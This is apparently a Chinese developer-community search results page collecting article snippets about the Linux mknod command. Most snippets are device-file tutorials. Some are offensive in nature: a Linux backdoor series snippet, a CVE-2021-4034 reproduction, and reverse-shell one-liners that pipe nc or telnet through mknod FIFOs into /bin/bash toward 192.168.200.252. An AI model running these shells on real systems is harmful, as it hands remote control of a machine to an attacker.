首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏嵌入式与Linux那些事

    mknod命令

    其实系统默认情况下就已经生成了很多设备文件,但有时候我们需要自己手动新建一些设备文件,这个时候就会用到像mkdir, mknod这样的命令。   mknod 的标准形式为: mknod DEVNAME {b | c} MAJOR MINOR   1,DEVNAME是要创建的设备文件名,如果想将设备文件放在一个特定的文件夹下,就需要先用mkdir 下面,我们就可以用mknod命令来申请设备文件了。   mkdir -p /dev/cobing   mknod /dev/cobing/mydev1 c 128 512

    65220发布于 2021-05-20
  • 来自专栏漫流砂

    mknod ​| Linux 后门系列

    specified, the telnet port (23) is used. telnet 反弹shell的方式和 nc 是一样的,在这里不过多描述了 ---- 在这里再添加一点之前遗漏的小东西 0x03 mknod [+] 之前创建命名管道都是用 mkfifo ,今天我发现了一个命令 mknod ,这个命令是用来创建一个文件块,可以用来创建设备,包括以下设备: 块设备(b) 字符设备 (c) 没有缓冲的字符设备 (u) fifo设备(p) 之前我们创建一个命名管道是 mkfifo /tmp/f , 现在可以 mknod /tmp/f p [+] 如果怕被安全检查, ` + * 是真好使呀 就拿上面那个为例 mknod

    1.4K10发布于 2020-08-19
  • 来自专栏Linux驱动

    Linux-mknod命令(9)

    mknod命令用于创建字符设备文件和块设备文件 (ls /dev -l 结果显示b开头和c开头的,即标识了块设备和字符设备。) crw-rw-rw- 1 root root 1, 3 2017-08-16 15:32 null //c开头,所以null设备为字符设备,主设备号为1,次设备号为3  格式 : mknod -z:设置安全的上下文 实例: sudo mknod /dev/console2 c 100 2 //创建字符设备 /dev/console2,主设备号为100,次设备号为 2 sudo mknod -m 660 /dev/console2 c 100 2 //创建字符设备 /dev/console2,并设置权限为660(用户和组都可读写) ,主设备号为100,次设备号为

    1.6K100发布于 2018-01-03
  • 来自专栏嵌入式与Linux那些事

    Linux mknod命令详解

    Linux一切皆文件,系统与设备通信之前,要建立一个存放在/dev目录下的设备文件,默认情况下就已经生成了很多设备文件,有时候自己手动新建一些设备文件,这就会用到mknod。 语法格式:mknod[选项][文件名称] [文件类型] [主设备号] [次设备号] 常用参数:   -Z 设置安全的上下文   -m 设置权限模式   b 块设备   c 字符设备   -help 例子: sudo mknod /dev/dev1 c 50 1 //创建字符设备 /dev/console2,主设备号为50,次设备号为1 sudo mknod -m

    1.2K30发布于 2021-05-20
  • 来自专栏全栈程序员必看

    linux中mknod_linux命令解析器

    其实系统默认情况下就已经生成了很多设备文件,但有时候我们需要自己手动新建一些设备文件,这个时候就会用到像mkdir, mknod这样的命令。 mknod 的标准形式为: mknod DEVNAME {b | c} MAJOR MINOR 1,DEVNAME是要创建的设备文件名,如果想将设备文件放在一个特定的文件夹下 下面,我们就可以用mknod命令来申请设备文件了。 mkdir -p /dev/cobing mknod /dev/cobing/mydev1 c 128 512 版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。

    79940编辑于 2022-11-01
  • 来自专栏云技术+云运维

    linux mknod命令与磁盘对应一例

    mknod命令用于创建一个设备文件,即特殊文件。 mknod命令的标准形式为:       mknod DEVNAME {b | c}  MAJOR  MINOR        参数解释:        DEVNAME是要创建的设备文件名,如果想将设备文件放在一个特定的文件夹下 c 13 0x000013 #mknod  /dev/rdisk/data6disk c 13 0x000014 #mknod  /dev/rdisk/data7disk c 13 0x000015 # mknod  /dev/rdisk/data8disk c 13 0x000016 11.11.10.57 #mknod  /dev/rdisk/data5disk c 13 0x000025 #mknod   /dev/rdisk/data6disk c 13 0x000026 #mknod  /dev/rdisk/data7disk c 13 0x000027 #mknod  /dev/rdisk/data8disk

    1.4K10发布于 2020-01-05
  • 来自专栏linux内核指令

    Linux中的mknod命令:深入解析与实用指南

    Linux中的mknod命令:深入解析与实用指南在Linux系统中,mknod命令是一个强大而灵活的工具,用于创建设备文件节点和命名管道(FIFO)。 一、mknod命令简介mknod命令是Linux系统中用于创建设备文件节点和命名管道的命令。 二、mknod命令的工作原理与特点mknod命令的工作原理是通过在文件系统中创建一个新的节点来表示设备文件。这个节点包含了设备文件的名称、类型以及主次设备号等信息。 mknod命令的主要特点包括:需要root权限:由于mknod命令涉及到系统底层的操作,因此需要root权限才能执行。支持多种设备类型:mknod命令支持创建块设备和字符设备两种类型的设备文件。 因此,除非有特殊需求,否则不推荐手动使用mknod命令来创建设备文件节点。希望本文能够帮助您更好地理解和使用Linux系统中的mknod命令。

    2.3K10编辑于 2024-06-20
  • 来自专栏热爱IT

    Docker 从零开始制作基础镜像[centos]

    rootfs] target=(mktemp−d−−tmpdir(mktemp−d−−tmpdir(basename $0).XXXXXX) set -x mkdir -m 755 "$target"/dev mknod  -m 600 "$target"/dev/console c 5 1 mknod -m 600 "$target"/dev/initctl p mknod -m 666 "$target"/dev/full  c 1 7 mknod -m 666 "$target"/dev/null c 1 3 mknod -m 666 "$target"/dev/ptmx c 5 2 mknod -m 666 "$target "/dev/random c 1 8 mknod -m 666 "$target"/dev/tty c 5 0 mknod -m 666 "$target"/dev/tty0 c 4 0 mknod - m 666 "$target"/dev/urandom c 1 9 mknod -m 666 "$target"/dev/zero c 1 5 # amazon linux yum will fail 

    5K21发布于 2019-04-10
  • 来自专栏运维一切

    docker镜像制作 原

    usage fi target=$(mktemp -d --tmpdir $(basename $0).XXXXXX) set -x mkdir -m 755 "$target"/dev mknod -m 600 "$target"/dev/console c 5 1 mknod -m 600 "$target"/dev/initctl p mknod -m 666 "$target"/dev/full c 1 7 mknod -m 666 "$target"/dev/null c 1 3 mknod -m 666 "$target"/dev/ptmx c 5 2 mknod -m 666 "$target "/dev/random c 1 8 mknod -m 666 "$target"/dev/tty c 5 0 mknod -m 666 "$target"/dev/tty0 c 4 0 mknod - m 666 "$target"/dev/urandom c 1 9 mknod -m 666 "$target"/dev/zero c 1 5 # amazon linux yum will fail

    3.1K20发布于 2018-08-02
  • 来自专栏悟空被FFmpeg玩

    查看linux里的initrd.img里的内容

    /dev/null c 1 3 mknod /dev/zero c 1 5 mknod /dev/systty c 4 0 mknod /dev/tty c 5 0 mknod /dev/console c 5 1 mknod /dev/ptmx c 5 2 mknod /dev/fb c 29 0 mknod /dev/tty0 c 4 0 mknod /dev/tty1 c 4 1 mknod / dev/tty2 c 4 2 mknod /dev/tty3 c 4 3 mknod /dev/tty4 c 4 4 mknod /dev/tty5 c 4 5 mknod /dev/tty6 c 4 6 mknod /dev/tty7 c 4 7 mknod /dev/tty8 c 4 8 mknod /dev/tty9 c 4 9 mknod /dev/tty10 c 4 10 mknod /dev /tty11 c 4 11 mknod /dev/tty12 c 4 12 mknod /dev/ttyS0 c 4 64 mknod /dev/ttyS1 c 4 65 mknod /dev/ttyS2

    4.2K20发布于 2019-03-05
  • 来自专栏Linux内核及编程语言底层相关技术研究

    Linux根目录的文件系统是如何被挂载的 . 续

    之后又调用了vfs_mknod方法,其中参数path.dentry->d_inode代表/dev目录。 error = dir->i_op->mknod(dir, dentry, mode, dev); ... return error; } EXPORT_SYMBOL(vfs_mknod); 该方法中的dir->i_op->mknod字段对应的方法为ramfs_mknod: // fs/ramfs/inode.c 该方法完毕后,最终会返回到ramfs_mknod方法,在ramfs_mknod方法中,又调用d_instantiate方法将新生成的inode赋值给dentry的d_inode字段。 ramfs_mknod方法执行完毕后,最终会返回到create_dev方法,create_dev方法执行完毕后,最终会返回到mount_root方法。

    5.3K31发布于 2019-06-11
  • 来自专栏c2k2o6

    cve-2021-4034复现

    bypass disable_function https://blog.csdn.net/qq_42303523/article/details/117911859 ''' os.mknod /gconv") # 创建特殊文件 ''' mknod name {b|c} major minor mknod name {p} 创建FIFO 已命名的管道 mknod dev/null c 1 3 mknod dev/zero c 1 5 mknod dev/random c 1 8 b 表示特殊文件是面向块的设备 磁盘 软盘 磁带 c 表示特殊文件是面向字符的设备 其他设备 p 创建

    2K10编辑于 2022-01-27
  • 来自专栏大龄程序员的人工智能之路

    鸿蒙系统研究之四:根文件系统

    {OHOS_ROOTFS}/root/* rootfs/ sudo cp -arf ${OHOS_ROOTFS}/system/* rootfs/system/ # 4.创建设备文件 sudo mknod rootfs/dev/tty1 c 4 1 sudo mknod rootfs/dev/tty2 c 4 2 sudo mknod rootfs/dev/tty3 c 4 3 sudo mknod rootfs /dev/tty4 c 4 4 sudo mknod rootfs/dev/console c 5 1 sudo mknod rootfs/dev/null c 1 3 # 5.生成一个空的文件作为文件系统

    2.5K41发布于 2021-07-14
  • 来自专栏用户8644135的专栏

    KVM构架系统通过急救模式安装alpine linux

    //dl-cdn.alpinelinux.org/alpine/latest-stable/main" > /mnt/custom/etc/apk/repositories 11.创建相应设备目录: mknod -m 666 /mnt/custom/dev/full c 1 7 mknod -m 666 /mnt/custom/dev/ptmx c 5 2 mknod -m 644 /mnt/custom/dev /random c 1 8 mknod -m 644 /mnt/custom/dev/urandom c 1 9 mknod -m 666 /mnt/custom/dev/zero c 1 5 mknod

    1.8K00发布于 2021-06-14
  • 来自专栏sktj

    python 生成flask结构 常用

    main(): os.mkdir("app") os.mkdir("app\main") os.mkdir("app\static") os.mkdir("app\templates") os.mknod ("app\templates\404.html") os.mknod("app\templates\500.html") os.mknod("app\templates\index.html") os.mkdir("tests") os.mkdir("venv") os.mkdir("migrations") os.mknod("requirements.txt") os.mknod(

    72130发布于 2019-07-07
  • 来自专栏二进制漏洞研究

    CVE-2018-8781:linux内核mmap整数溢出漏洞分析

    kernel_uid32_t typedef unsigned int __kernel_uid32_t; typedef unsigned int __kernel_gid32_t; #endif sudo mknod /dev/MWR_DEVICE c 200 0 sudo chmod 777 /dev/MWR_DEVICE sudo mknod /dev/MWR_DEVICE_Fault c 233 0 sudo chmod 664 /dev/MWR_DEVICE_Fault sudo mknod /dev/MWR_DEVICE_Fault2 c 244 0 sudo chmod 664 /dev/MWR_DEVICE_Fault2 sudo mknod /dev/H4N9U1 c 245 0 sudo chmod 777 /dev/H4N9U1 参考链接 https://research.checkpoint.com/mmap-vulnerabilities-linux-kernel

    1.4K20发布于 2019-05-22
  • 来自专栏猿计划

    使用Busybox制作根文件系统

    run-parts stat uname ash chown dmesg fdflush hush linux64 mknod /rootfs/dev$ zh@zh-lpc:~/soft/linux_tools/rootfs/dev$ zh@zh-lpc:~/soft/linux_tools/rootfs/dev$ sudo mknod 666 tty2 c 4 2 zh@zh-lpc:~/soft/linux_tools/rootfs/dev$ zh@zh-lpc:~/soft/linux_tools/rootfs/dev$ sudo mknod /rootfs/dev$ zh@zh-lpc:~/soft/linux_tools/rootfs/dev$ zh@zh-lpc:~/soft/linux_tools/rootfs/dev$ sudo mknod console c 5 1 zh@zh-lpc:~/soft/linux_tools/rootfs/dev$ zh@zh-lpc:~/soft/linux_tools/rootfs/dev$ sudo mknod

    3.6K30发布于 2021-09-26
  • 来自专栏全栈工程师修炼之路

    Linux下终端实现文件上传与反弹

    );" NC命令反弹Shell 方式1 #反向连接 nc -e /bin/sh 192.168.200.252 4444 #Client nc -lvvp 4444 #Attack #反向连接 mknod 方式2 #Client端 # 如果 -e 参数被禁用,可以尝试以下命令 rm -f /tmp/p; mknod /tmp/p p && nc 192.168.200.252 4443 0</tmp/ 方式2: 描述:如果 netcat 不可用或者 /dev/tcp mknod /tmp/backpipe p && telnet 192.168.200.252 4444 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe #mknod a p; telnet x.x.x.x 2222 0a WeiyiGeek.

    2.8K30编辑于 2022-09-29
  • 来自专栏信息技术智库

    Python小姿势 - # Python相关技术知识点

    `python if os.path.exists('file.txt'): print('文件存在') else: print('文件不存在') ``` 如果你要创建一个文件,那么可以使用os.mknod 方法: ```python os.mknod('file.txt') ``` 要删除一个文件,可以使用os.remove方法: ```python os.remove('file.txt')

    23820编辑于 2023-05-11
  • 来自专栏韦东山嵌入式

    【教程】从零制作文件系统到jz2440,使其支持telnet , ftp 和tftp

    0 ④ 构建dev目录 $ mkdir –p /work/busybox-1.21.0/rootfs/dev $ cd /work/busybox-1.21.0/rootfs/dev $ sudo mknod console c 5 1 $ sudo mknod null c 1 3 $ sudo mknod ttySAC0 c 204 64 $ sudo mknod mtdblock0 b 31 0 $ sudo mknod mtdblock1 b 31 1 $ sudo mknod mtdblock2 b 31 2 ⑤ 构建其他目录 其他目录可以是空目录,比如proc、mnt、tmp、sys、root

    2.7K30发布于 2020-09-30
领券